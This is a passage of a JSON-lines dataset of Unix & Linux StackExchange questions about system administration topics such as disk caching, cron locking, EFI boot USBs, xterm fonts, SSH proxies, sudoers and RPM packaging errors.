following line: Memory: Real: 25M/1978M act/tot Free: 9961M Cache: 1670M Swap: 0K/48G That's 1.7GB out of 12GB, less than 15%! I've even tried increasing `kern.maxvnodes` from 117091 to 400000 (and `kern.numvnodes` did indicate that all 400k of vnodes got utilised pretty quickly), but I'm still having under 2GB of RAM used for caching. Is it not possible to use 6GB of RAM for disc cache on OpenBSD 5.2 amd64? Is it limited to something around 1.7GB?"} {"_id": "123530", "title": "Can I safely read a file that is appended to by another process?", "text": "If process A copies files to some location loc and process B regularly copies the files from loc to some other location, can B read a file that is currently in the process of being copied to loc by A? I'm using Ubuntu Linux 12.04 if that's important. * * * Background information: I want to continuously backup a PostgreSQL cluster. PostgreSQL provides WAL archiving for that. It works by having the database call a script that copies a completed WAL file to some backup location. I want another process to regularly copy the backed up WAL files to another server. If a WAL file is currently being copied by the database, can the second process still read the file without running into some EOF condition before the file is copied as a whole? In other words: Can I do the following with no synchronization between A and B? A B cp pg_xlog/some_wal_file /backup/ scp /backup/* user@remote-machine:/backups/"} {"_id": "131298", "title": "Redirect packets and save the content to disk", "text": "I want to reroute a connection just like `rinetd` does but save the client and server messages. Is there any tool like this out there ? I'm using Debian."} {"_id": "131290", "title": "Using a zsh function in find?", "text": "I'm on OS X and have defined a function called `finderpackage` that tries to determine if a folder is in fact a \"package\" (also, somewhat erroneously, known as a \"bundle\") according to the Finder. My intended use for this was to limit `find` from descending into such folders which is sometimes useful. One application would be finding the size of files in a subtree while treating apps, frameworks, document formats that are really folders, and similar as single \"files\", just like Finder would: `find . -xdev \\\\( -exec finderpackage {} \\; -exec du -sk {} \\; -prune \\\\) -or \\\\( -type f -exec du -k {} \\; \\\\)` However, this example does not work as `find` complains: `find: finderpackage: No such file or directory` Can I not use a zsh function in this way? (Of course I can rewrite it as a script, I'm just curious if I have missed something about how functions are used?)"} {"_id": "131292", "title": "Overlapping of cron instance", "text": "While searching for a solution to synchronize cron (i.e. only one instance of cron run at at time). I found the solution, given below, on StackExchange. #!/bin/sh LOCK=/var/tmp/mylock if [ -f $LOCK ]; then echo Job is already running\\! exit 6 fi echo \"script started\" > $LOCK wget /url/to/execute/a/script rm -f $LOCK I found the solution here: Correct locking in shell scripts? Can this solution cause problem for a cron running on a single server after an interval of 10 minutes. Can this solution prevent overlapping of crons?"} {"_id": "131293", "title": "IPtables on ubuntu 12.04", "text": "I've problem with iptables on ubuntu 12.4. I type `ufw status`, it show result `Status: inactive` but I type `iptbles -L -nv`, it still shows many rules, and these rules are running. I can't understand."} {"_id": "123537", "title": "How can I get the last line number of unique commands when grepping my history file?", "text": "I rely on my history file for previous commands, especially ones that are long with many parameters. Once I find the command and its line number(`nn`) I use `!nn` to run it. I prefer to see the full output from the search rather than doing an in-line reverse search. To do this I search through it with `history | grep some_text` However I tend to get a lot of output due to duplicate entries (differing only in their line numbers). As my history grows this gets worse over time. How could I get a list of just the unique commands that I could then use with the `!` recall command operator? I tried history | uniq | grep some_text but that doesn't work because of the line numbers. I can do `history | cut -b8- | uniq` and that does show just the commands. However when I add `sort` I get `$ history | sort sort: string comparison failed: Illegal byte sequence sort: Set LC_ALL='C' to work around the problem. sort: The strings compared were` 5359 \\253' and `5360 x'.` Also the line numbers are gone which I would actually want for the `!line- number` command Ideally I would like this to happen each time I do my `history | grep` - which I do so much I have an alias `hg='history | grep '` so I could add any solution to that. Less ideal, but still of interest would be the ability to run an ad-hoc program which would actually make the history file entries unique (again, dealing with the line numbers issue) so that only the most recent history command of any given command is retained). presumably by deleting the other lines. But would deleting lines in the history file this way mess up the way the file is used by the system?"} {"_id": "124850", "title": "Install \"ia32-libs\" package on Windows to use in Linux", "text": "I have recently installed a GCC ARM Embedded toolchain for Linux (to run on a 64-bit machine). However, the pre-built version of Linaro GCC runs on 32 bit machines. The solution is simple: `apt-get install ia32-libs` to install the ia32-libs package. The problem is that the Linux machine which I am working with has no internet connection. Therefore, I cannot do installations through that manner. I am using a Windows machine for internet access (which is how I am able to ask this question). My question is then: is it possible to download the package on a Windows machine, put it on a USB and install it on the Linux machine? If so, where I can download the package manually from (instead of typing `apt-get install ia32-libs`?"} {"_id": "28106", "title": "DHCPv6 prefix delegation server for linux?", "text": "What linux DHCPv6 client can I set up so it requests a prefix on one interface and then on all the other interfaces it will give out addresses (or if requested, a smaller prefix delegation)? It would also need to set up the routes and router advertisements. If there's not a way to do this, what is the IPv6 version of programming an IPv4 router to do NAT, wherever it is put? Basically, I'm trying to understand how a manufacturer would set up their IPv6 capable routers so a customer can plug them in and they would work. I'm not talking about actual NAT in IPv6, but a way for a router to have a DHCPv6 prefix delegation client which would take the prefix it received and break it into smaller prefixes and addresses and run a DHCPv6 server for each separate downstream link. I added a diagram: ![Diagram with 9 computers. #2, #4, #6, #7, and #9 are DHCPv6 clients. #1 is assigned 2001:db8:1200::/40 and giving out /48 prefix delegations. #3, #5, and #8 are DHCPv6 servers and clients at the same time as they are requesting prefixes.](http://i.stack.imgur.com/iUGvl.png) Is there (a) piece(s) of software I can run on Linux that could be configured once and then put in place number 3, 5, or 8 and it would automatically set itself up depending on the prefix it was delegated?"} {"_id": "28107", "title": "Create a Bootable (UEF GRUB) USB for Ubuntu & Windows 7 Install", "text": "I want to create a Bootable EFI USB to install Ubuntu & Windows 7 (maybe with utilities like PartedMagic). I did that using MultiSystem previously. However, I am using GPT and Windows install needs to be launched in EFI mode to install on GPT system. I suppose I must use GRUB EFI instead? If theres no app like Multisystem that creates a GRUB EFI Bootable USB, how can I create one myself? I suppose I will format my USB as GPT, and install GRUB EFI on it (how?). Then I need to configure GRUB EFI to load Ubuntu & Windows 7 install in EFI? How can I do these? **UPDATE** Here's what I tried * Create 2 partitions on my USB (GPT, 100+MB FAT32 (/dev/sdc1, set boot flag), The rest FAT32, /dev/sdc2, for installs) * Extract Windows 7 & Ubuntu 11.10 iso's into Installer partition, 2 different folders * Tried using `sudo elilo -b /dev/sdc1` --autoconf --efiboot -v` * * * jiewmeng@JM:~$ sudo elilo -b /dev/sdc1 --autoconf --efiboot -v elilo: backing up existing /etc/elilo.conf as /etc/elilo.conf- Loaded efivars kernel module to enable use of efibootmgr elilo: Checking filesystem on /dev/sdc1... elilo: Mounting /dev/sdc1... e lilo: 44298KB needed, 78781KB free, 42192KB to reuse elilo: Installing primary bootstrap /usr/lib/elilo/elilo.efi onto /dev/sdc1... elilo: Installing /tmp/elilo.k8NWXX on /dev/sdc1... elilo: Installing /vmlinuz on /dev/sdc1... elilo: Installing /vmlinuz.old on /dev/sdc1... elilo: Installing /initrd.img on /dev/sdc1... elilo: Installing /initrd.img.old on /dev/sdc1... elilo: Updating EFI boot-device variable... Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. Try 'modprobe efivars' as root. Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. Try 'modprobe efivars' as root. elilo: An error occured while updating boot menu, we'll ignore it Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. Try 'modprobe efivars' as root. Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. Try 'modprobe efivars' as root. Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. Try 'modprobe efivars' as root. elilo: Installation complete. Did `sudo modprobe efivars` got no output but got the same error, I think its because I am not bootted into EFI Ubuntu? Next, I'll try using USB Startup Disk Creator to boot into a live system in EFI mode to try again **UPDATE** I am so lost, is Windows installed 1st the fault? I formatted & made a bootable USB for Ubuntu Alternate with UNetBootIn, and it failed too with same error of no available kernel. If I made a Ubuntu Desktop I will get cannot configure apt sources ![](http://i.imgur.com/Ih9Qs.png) The syslog for ubuntu desktop install http://pastebin.com/CdbUPXax I feel I better not waste time and revert back to MBR soon ... that will mean I have to somehow backup all my data 1st ... which is why I am delaying it to the last resort ... any ideas? **UPDATE** I tried booting Ubuntu 11.10 Alternate in BIOS mode (Non-EFI), installed fine except I cannot install a boot loader. It says fatal error. I then installed GRUB by booting the USB in recovery mode. Works but it does not boot. Gives a blank screen on boot. If I try to enter recovery mode (on HDD, where ubuntu is installed), keyboard seems to fail, mouse have light though."} {"_id": "24658", "title": "nohup vs. Screen", "text": "In the past, I've used nohup to run big background jobs, but I've noticed that a lot of people use Screen in this context. Does Screen provide some kind of functional advantage that I am unaware of, or is it just a matter of preference?"} {"_id": "24659", "title": "How do I disable automatic display search?", "text": "I have a Mint 10, based on Ubuntu Maverick Meerkat (10.10) installed on a HP nc6120 notebook. The machine is getting tired, so I decided to use it only with the external \"monitor\", in this case, the TV. I went to the display settings, turned the notebook display off, the TV on, saved it as default and set it. But. Somewhy and somehow (no log, no move, no touch, no nothing), the system restores either mirroring or both screens enabled. The whole thing is a mistery, and I'd really like to disable even the possibility of automatic display settings change. I don't mind digging into config files, just please someone tell me how to kill this feature :)"} {"_id": "31999", "title": "how to make XTerm never use bold characters?", "text": "I am trying to make XTerm to never use a bold font, and nothing seems to work. I put settings in `~/.Xresources` and then run `xrdb ~/.Xresources` and then start a new XTerm. This is what I try: XTerm*background: gray90 XTerm*foreground: black XTerm*highlightColor: yellow XTerm*pointerColor: red XTerm*pointerColorBackground: white XTerm*cursorColor: navy XTerm*borderColor: black Xterm*colorBD: black XTerm*colorBDMode: true XTerm*boldMode: false XTerm*alwaysBoldMode: false XTerm*font: -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1 XTerm*boldFont: -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1 XTerm*utf8Fonts.font: -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1 XTerm*utf8Fonts.boldFont: -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1 And still for example when I run Midnight Commander all directory names are with thick letters, and I want them the same as normal files, just use a color, but not make them thicker! In VIM everything uses thick letters when syntax highlighting is used (but is OK - thin - when there is no syntax highlighting). I am out of ideas, what to put in my `~/.Xresources` to force XTerm to never use those thick letters?"} {"_id": "3853", "title": "ssh + http proxy (corkscrew) not working", "text": "I'm trying to get ssh working with an http proxy via corkscrew. Here is the error: [echox@archbox:~] % ssh somehost.tld zsh: No such file or directory ssh_exchange_identification: Connection closed by remote host Here is the content of ~/.ssh/config Host * ProxyCommand /usr/bin/corkscrew http-proxy.some.proxy.tld 8080 %h %p I would bet the ProxyCommand is not found, but `/usr/bin/corkscrew` is working, its also in my PATH. `corkscrew` without path is also not working. `[echox@archbox:~] % corkscrew http-proxy.some.proxy.tld 8080 some.ssh.host.tld 22` works fine invoked directly. Any idea?"} {"_id": "28100", "title": "How does one add an application to the LXDE Panel?", "text": "How does one add an application to the **LXDE Panel**? I'm using version 0.5.8 on Lubuntu 11.10"} {"_id": "24652", "title": "Network file sharing with freebsd server", "text": "I have a freebsd server at home. I also have other OSes like linux and windows connected to the same network via WLAN (wifi). I want to be able to share stuff (what ever I download ;)) on my FreeBSD box to others via wifi. How can I do that? Does difference in underlying filesystems make things hard?"} {"_id": "151253", "title": "How can I determine the page count of djvu documents from the CLI?", "text": "Finding the page count of a PDF document from the CLI is as simple as: pdfinfo file.pdf | grep ^Pages: How can the same be performed with a djvu file? Without converting it to a pdf and then deleting the pdf file after checking the number of pages, pls."} {"_id": "24650", "title": "rc_status always returns \"failed\"", "text": "One of our developers has a service that needs to be started on boot. This script needs to be fired: /app/bt/preview/apache-tomcat-5.5.27/bin/startup.sh Here is the startup script I'm working with, called **/etc/init.d/bt** : #!/bin/sh # ### BEGIN INIT INFO # Provides: BTServer # Required-Start: $local_fs $network $remote_fs # Required-Stop: $local_fs $network $remote_fs # Should-Start: # Should-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: BT Server # Description: BT Server ### END INIT INFO # # # Run BT startup scripts as btu user # # Location of startup script BT_SCR='/app/bt/preview/apache-tomcat-5.5.27/bin/startup.sh' test -x $BT_SCR || exit 5 # Set up rc_status command . /etc/rc.status rc_reset case \"$1\" in start) echo -n \"Starting BT Server\" startproc -u btu $BT_SCR rc_status -v ;; *) echo \"Usage: $0 { start }\" exit 1 ;; esac exit 0 When I run **/etc/init.d/bt start** from the command line, the rc_status is failed every time, even though the script starts up fine. I don't quite understand how rc_status is determined; is it my responsibility to set the rc_status value? I know I'll need to add a symlink to /etc/rc.d/rc3.d, but for now I'm trying to get it working from the command line as root."} {"_id": "24651", "title": "Linux distributions for ARM processors", "text": "Are there any Linux distributions (Other than Backtrack and Android) available for ARM processors? specifically ARM 11 (SE Xperia X8)"} {"_id": "151257", "title": "Reserve memory for a program", "text": "Is it at all possible to set aside say 50MB of memory so that in an emergency where something uses all my memory or loads the CPU I could open a terminal, find the offending process, and kill it?"} {"_id": "151255", "title": "Wait for a network device to come up before bringing another network device up on boot?", "text": "I'm in the middle of setting up my Raspberry Pi running Raspbian as a bridge between my university's wireless network (which requires WPA2-Enterprise authentication) and my private wireless router (via its WAN port). I've received some amazing help here: How can I most simply transparently bridge traffic between wlan0 and eth0? For the most part my setup is now working as intended. The only problem is that, if I set eth0 to auto or allow-hotplug on my Raspberry Pi (as I'd like to do, so that everything comes up headlessly on boot), it seems as though all internet traffic is routed through eth0. This is incorrect; my internet connection is on wlan0, and eth0 shares that connection out to my private router. I can overcome this issue by not having eth0 come up automatically. If I leave auto or allow-hotplug for eth0 out of /etc/network/interfaces, allow the Raspberry Pi to boot, and then manually run \"ifup eth0\", I get behaviour as expected. Is there a way to either ensure that wlan0 has been fully brought up before bringing up eth0 on boot (even though eth0 is the faster interface to bring up)? Or, failing that, how can I force internet traffic (noting that this comes from eth0) through wlan0 only? Edit: For now, as a work-around, I'm running a script to bring up eth0 on start-up with a thirty second delay to allow wlan0 to come up first. This solution is neither elegant nor reliable (what if wlan0 authentication takes longer than thirty seconds?), but it does seem to be doing the trick for now. I'm still looking for a better solution, though!"} {"_id": "22760", "title": "Embeded video in PDF", "text": "I'm creating a presentation that will have embedded video in it (using beamer). The issue is that I can't make this work on Linux. I have downloaded some example presentations that contained video, but it just doesn't seem to work. Acrobat either doesn't do anything, or tries to open some website which only tells me that my system isn't supported. Okular doesn't seem to do anything at all. Are there any viewers that can actually work with embedded videos? I'm fine with re-encoding the video in a different format."} {"_id": "38955", "title": "Argument list too long for ls", "text": "I get the following error when trying to `ls *.txt | wc -l` a directory that contains many files: -bash: /bin/ls: Argument list too long Does the threshold of this \"Argument list\" dependent on distro or computer's spec? Usually, I'd pipe the result of such big result to some other commands (`wc -l` for example), so I'm not concerned with limits of the terminal."} {"_id": "21859", "title": "Mount permissions always blocked", "text": "How do I authorise my non-root user to manually mount/unmount ALL media on my desktop. I always get denied permission. Media refers to all mountable USB devices and other partitions on my HDD as well."} {"_id": "22763", "title": "Call man in bash shell for command under cursor", "text": "In `zsh` I can do `Esc` `h` for any command, get man page for this command, quit from the man pager and get my command back with all arguments. For example in my shell is entered: zsh# tar -czvf docs.tgz docs and I can call man for `tar` by pressing `Esc` `h`, with the cursor in any place. Now, I want the same thing, but in bash. One possible solution is shown below, but I want to know if there are others. bind '\"\\eh\": \"\\C-a\\ef\\C-k\\C-f\\C^Cman \\C-y\\C-m\\C-y\\C-y\\ey\"'"} {"_id": "22764", "title": "Dashes in printf", "text": "I'm trying to use printf to format some pretty output in a bash script e.g.: `\\-----------------------` `| This is some output |` `\\-----------------------` But I've stumbled over some behavior I don't understand. `$ printf \"--\"` gives me the error `printf: usage: printf [-v var] format [arguments]` and `$ printf \"-stuff\"` results in `-bash: printf: -s: invalid option` So apparently printf thinks I'm trying to pass some arguments while I'm not. Meanwhile, completely by accident, I've found this workaround: `$ printf -- \"--- this works now ----\\n\"` gives me `\\--- this works now ----` Can anyone explain this behavior?"} {"_id": "146502", "title": "bash script not being run by cron", "text": "I have a very simple bash script that runs flawlessly when I do ./removeOldBackup.sh or sh /home/myusername/backup/removeOldBackup.sh but when I add it to crontab like * * * * * sh /home/myusername/backup/removeOldBackup.sh or * * * * * /bin/sh /home/myusername/backup/removeOldBackup.sh it never works... This is my script: #!/bin/sh find . -name 'files_20[1-3][0-9]-[0-9][0-9]-[1-2][1-9]--*' -delete find . -name 'files_20[1-3][0-9]-[0-9][0-9]-0[2-9]--*' -delete find . -name 'database_20[1-3][0-9]-[0-9][0-9]-[1-2][1-9]--*' -delete find . -name 'database_20[1-3][0-9]-[0-9][0-9]-0[2-9]--*' -delete This is my script permissions: -rwxr-xr-x 1 root root 295 Jul 25 10:07 /home/myusername/backup/removeOldBackup.sh Crontab is added for user root. This is what I find in `/var/log/syslog`: Jul 25 10:11:01 myservername /USR/SBIN/CRON[7583]: (root) CMD (sh /home/myusername/backup/removeOldBackup.sh) So again, when I run the script manually, my backup files get removed correctly. When it is run by cron, they never get removed. I'm using debian-6.0-x86_64."} {"_id": "110856", "title": "something is terribly wrong with pkg-config", "text": "I've been having a harrowing time lately just trying to get several C programs compiled because I can't find where the libraries are located and pkg-config seems to be out of order. I installed GNU GSL like this: wget ftp://ftp.gnu.org/gnu/gsl/gsl-1.15.tar.gz tar xvzf gsl-*gz cd gsl-1.15 ./configure make sudo make install Apparently it installed in `/usr/local/lib` which is a non-standard place? (1) What is a standard place? (2) How would I get it to install there? And I can't manage to compile a simple program that uses this library: $ gcc gsl_erf.c -o gsl -I/usr/local/lib -L/usr/local/lib /tmp/cc3WD9Zq.o: In function `main': gsl_erf.c:(.text+0x24): undefined reference to `gsl_cdf_gaussian_P' collect2: error: ld returned 1 exit status Now, with pkg-config : pkg-config --libs --cflags gslPackage gsl was not found in the pkg-config search path. Perhaps you should add the directory containing `gsl.pc' to the PKG_CONFIG_PATH environment variable No package 'gsl' found So I did add the directory: PKG_CONFIG_PATH=/usr/local/lib/pkgconfig But no luck yet! :( pkg-config still gives me the same message as above. (`Perhaps you sh ...`) This is a more general problem I face regularly when I have to compile some C program. I would love a general solution for: 1. Where and how do I install my C libs? (Perhaps the same place yum installs them?) 2. How do I correct/configure and use pkg-config * * * **Update** : I tried one of the answer's suggestions below and running the compiled program gives me this : `./gsl_app: error while loading shared libraries: libgsl.so.0: cannot open shared object`"} {"_id": "75935", "title": "POSIX head and tail not feature equivalent", "text": "The documentation for POSIX tail's `-n` option says that > The origin for counting shall be 1; that is, -n +1 represents the first line > of the file, -n -1 the last. So `tail -n 10` (used later on the same page) and `tail -n -10` should print the last ten lines, and `tail -n +10` would skip the first nine lines and print all the rest. The documentation for POSIX head's `-n` option says that > The application shall ensure that the number option-argument is a positive > decimal integer. So `head -n -10` and `head -n +10` are not POSIX compatible because the values `-10` and `+10` are not simple integers but rather strings with no special meaning in the shell, and there's no way to print all lines until the Nth last one. Why the discrepancy? PS: `head -n +10` works with GNU coreutils."} {"_id": "75931", "title": "gunzip multiple compressed files to another directory without deleting the .gz files", "text": "I have multiple `.gz` file in a folder and I want to unzip it in other folder through `gunzip` without deleting parent file. Please help."} {"_id": "75930", "title": "Convert SVG to PDF in python", "text": "I am trying to convert an SVG file to PDF in python using the `svglib` and `reportlab` packages. Here is the SVG file. Here is the code I am using to convert (got this from `svglib` webpage). >>> from svglib.svglib import svg2rlg >>> from reportlab.graphics import renderPDF >>> drawing = svg2rlg(\"file.svg\") >>> renderPDF.drawToFile(drawing, \"file.pdf\") The code runs fine without any error or exception but the `file.pdf` thus generated is a blank file. I mean that when I open this PDF file I see nothing but only white background page with nothing on it. Where am I going wrong ?"} {"_id": "75932", "title": "What stuff can be safely removed for disk space sake?", "text": "I am using Scientific Linux. So is there any stuff that can be safely removed from disk except `/tmp`?"} {"_id": "35534", "title": "Linux on Lenovo Z575 - no display after installation", "text": "I am trying to install Linux on Lenovo Ideapad Z575 (AMD). When I run Ubuntu or Fedora from a LiveCD, I got some initial screens (purple screen with small icon for Ubuntu, some information screen from Fedora), and then.... nothing. For Ubuntu, I have a black screen, although I hear the Ubuntish sound when the login screen appears. So it is there, but the display does not work. Any ideas how to make the display working?"} {"_id": "35537", "title": "\"nl80211: 'nl80211' generic netlink not found\" when starting hostapd", "text": "I have been trying to get my Ubuntu 11.10 laptop to make an access point to connect my blackberry playbook . hostapd gave error Configuration file: ./hostapd-minimal.conf nl80211: 'nl80211' generic netlink not found nl80211 driver initialization failed. Is this a BCM4312 problem? Can madwifi , hostap create wifi acccess point for me? Connectify can do this on windows so is there no equivalent??"} {"_id": "73308", "title": "Find command incorrect results with days filter", "text": "I am trying to find all files modified before march 6 in a directory with thousands of files. I executed the following commands in the PWD where I want to find files. find -mtime +47 > /root/file_005.log or find -mtime +48 > /root/file_006.log or find -mtime +49 > /root/file_007.log The problem is no matter what date filter(47,48.49.50...) is used in the find command I keep getting files with a modified date between March 8 -12 in the results. This is the output of `stat`on one of the problem files: Device: 16h/22d Inode: 17 Links: 1 Access: (0666/-rw-rw-rw-) Uid: ( 8506/ UNKNOWN) Gid: ( 5000/ UNKNOWN) Access: 2013-04-22 10:08:20.000000000 -0500 Modify: 2013-03-10 03:10:20.000000000 -0500 Change: 2013-03-10 03:10:20.000000000 -0500 Does anyone have an idea what may be causing files that were modified after March 6 to appear in the results? **EDIT #1** * Q: Is this a NTFS mounted filesystem or EXT3/4? * A: No its not. This is a drive mounted on my UNIX box using sshfs."} {"_id": "73309", "title": "why is filesystem intensive script not faster on ram disk", "text": "I have a script which creates a lot of files and directories. The script does black box tests for a program which works with a lot of files and directories. The test count grew and the tests were taking too long (over 2 seconds). I thought I run the tests in a ram disk. I ran the test in `/dev/shm`. Strangely it did not run any faster. Average run time was about the same as on normal harddisk. I also tried in a fuse based ram disk written in perl. The website is gone but I found it in the internet archive. Average run time on the fuse ram disk is even slower. Perhaps because of the suboptimal implementation of the perl code. Here is a simplified version of my script: #! /bin/sh preparedir() { mkdir foo mkdir bar touch bar/file mkdir bar/baz echo qux > bar/baz/file } dostuff() { mkdir actual (cd actual; preparedir) find actual -type f -execdir cat '{}' \\; > /dev/null mkdir expected (cd expected; preparedir) diff -qr actual expected } dostuffoften() { while read dirname; do rm -rf $dirname mkdir $dirname (cd $dirname; dostuff) done } seq 100 | dostuffoften The real script does a bit more error checking and result collecting and a summary. The `find` is a dummy for the actual program I am testing. I wonder why my filesystem intensive script does not run faster on a memory backed filesystem. Is it because the linux kernel handles the filesystem cache so efficiently that it practically is a memory backed filesystem?"} {"_id": "35532", "title": "Why does this awk command not play as well with find as sed does?", "text": "I am very much a **newbie** at Unix/Linux command line stuff, and mostly get to where I'm going by copying, pasting, and modifying code I find on the internet. Just mentioning that in hopes people will keep answers simple and without assuming I know what's going on. I'm creating a **Bash shell script** to do some file manipulation on some HTML files. Among the many actions I do, I have this `sed` command which works great: find $DIR -type f -name '*.html' -exec sed -i 's/.* I've played around with permissions so much that I forgot where I was with them. Here they are currently in sudoers: # See the man page for details on how to write a sudoers file Defaults:emailuser !authenticate adminuser ALL=NOPASSWD: /bin/su - emailuser adminuser ALL=NOPASSWD: /bin/su emailuser adminuser ALL=NOPASSWD: /usr/bin/sudo su emailuser # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on \"#include\" directives: #includedir /etc/sudoers.d"} {"_id": "132586", "title": "How to count how many shell/terminals are running?", "text": "I\u00b4m trying to count how many shell or terminal windows are currently running. I tried `ps a|grep bash;` `ps a|grep tty;` But it can be inaccurate."} {"_id": "132581", "title": "Add new packages to repository server", "text": "I'm using CentOS I've built a repository and put packages on it ,testing from another server and all things are fine. When I added new packages on repository and execute: $ createrepo -v /var/www/html/centos/6.5/updates/x86_64/Packages/ Trying to install the last package recently added from a server that added my repository but it's not working until I execute on the same server: $ yum clean all Is this a normal situation?"} {"_id": "51969", "title": "Download ALL rpms for a product", "text": "I have two CentOS machines, one 6.3 box ( **A** ), and another CentOS 6.1. ( **B** ) 6.3 box is with internet connection, 6.1 box is without internet connection. I want to download ALL dependencies of a product on Box A, then copy those n Box B, and install the product. I tried with yum --downloadonly --downloaddir=*~/downloadrepo* -y install *product*` cd *~/downloadrepo* createrepo . Then I disabled all repos (with --disablerepo), except my repo, and installed product on the same machine (Box A). No errors. * `yum install *product*` Now when I copied this repo to Box B, and tried to install with same command, it starts installing, but then gives lot of errors like below: > **Error: Missing Dependency: libldap-2.3.so.0()(64bit) is needed by package > php-ldap-5.1.6-27.el5_5.3.x86_64 (installed)** As there any way I can achieve what I need? **UPDATE** By the time I started working with option suggested by @rkosegi ( _-- releasever=version_ ), I was given a new box with same version CentOS 6.1 ( **C** ) I tried above mentioned commands on Box C, and copied repo it to Box B. Still it failed. The reason: though both boxes are 6.1, those are not identical ( **uname -r** returns different strings). Yum does not download dependencies, if those are already installed. So my repo did not contain some of the dependencies (including OpenJDK). So, when I try to install on Box B, it fails. Quite frustrating!!! But then I found command ' **repotrack** ' here. cd ~/downloadrepo repotrack -p . -a x86_64 product createrepo . I got a lot more files than with yum, hopefully it will do the trick. I'll update, once I try install. **UPDATE** Command repotrack did not work for me. When I tried to install from repository created with 'repotrack', got following errors: Error: Package: perl-CGI-3.51-127.el6.x86_64 (repo-local) Requires: perl = 4:5.10.1-127.el6 Installed: 4:perl-5.10.1-119.el6_1.1.x86_64 (@anaconda-CentOS-201112102333.x86_64/6.2) perl = 4:5.10.1-119.el6_1.1 Error: Package: audit-libs-python-2.2-2.el6.x86_64 (repo-local) Requires: audit-libs = 2.2-2.el6 Installed: audit-libs-2.1.3-3.el6.x86_64 (@anaconda-CentOS-201112102333.x86_64/6.2) audit-libs = 2.1.3-3.el6 I tried removing these two files from folder, and rebuilding repository with 'createrepo'. It gave another set of errors. Not sure what options I have at the moment..."} {"_id": "105401", "title": "Error while trying to create RPM for java app", "text": "I'm new to RPM packaging and I got stuck for quite a long time and cannot find root cause of the problem. I'm not quite sure I fully understand the concept of `BuildRoot` in the spec file. My RPM packaging happens in my home dir: `/home/virtual/rpmbuild`. I'm trying to package a java application located in `/home/virtual/rpmbuild/tmp/BDHistProcessor` with the structure: BDHistProcessor lib bin conf deploy Here is my spec file I created: %define _tmppath /home/virtual/rpmbuild/tmp Name: BDHistProcessor Version: 1.0.0 Release: 1%{?dist} Summary: component which feed data into DB Group: Applications/System License: GPL URL: https://www.tem.com/ BuildRoot: %{tmppath}/%{name} %description Component which feed data into DB %prep %build %install rm -rf $RPM_BUILD_ROOT cp -r /home/virtual/rpmbuild/tmp/BDHistProcessor $RPM_BUILD_ROOT %files %defattr(-,root,root) %{buildroot}/BDHistProcessor/lib %{buildroot}/BDHistProcessor/bin %{buildroot}/BDHistProcessor/conf %{buildroot}/BDHistProcessor/deploy %{buildroot}/BDHistProcessor/README.txt %doc %changelog Running `rpmbuild -v -bb -clean SPECS/myRPM.spec` returns output: [virtual@virtual rpmbuild]$ rpmbuild -v -bb --clean SPECS/myRPM.spec Executing(%prep): /bin/sh -e /home/virtual/rpmbuild/tmp/rpm-tmp.t2AMGe + umask 022 + cd /home/virtual/rpmbuild/BUILD + exit 0 Executing(%build): /bin/sh -e /home/virtual/rpmbuild/tmp/rpm-tmp.1unXP8 + umask 022 + cd /home/virtual/rpmbuild/BUILD + exit 0 Executing(%install): /bin/sh -e /home/virtual/rpmbuild/tmp/rpm-tmp.SoaH02 + umask 022 + cd /home/virtual/rpmbuild/BUILD + rm -rf /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64 + cp -r /home/virtual/rpmbuild/tmp/BDHistProcessor /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64 + /usr/lib/rpm/check-rpaths /usr/lib/rpm/check-buildroot + /usr/lib/rpm/brp-compress + /usr/lib/rpm/brp-strip + /usr/lib/rpm/brp-strip-static-archive + /usr/lib/rpm/brp-strip-comment-note Processing files: BDHistProcessor-1.0.0-1.el6.x86_64 error: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/lib error: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/bin error: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/conf error: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/deploy error: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/README.txt RPM build errors: File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/lib File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/bin File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/conf File not found: /home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/home/virtual/rpmbuild/BUILDROOT/BDHistProcessor-1.0.0-1.el6.x86_64/BDHistProcessor/deploy File not found: 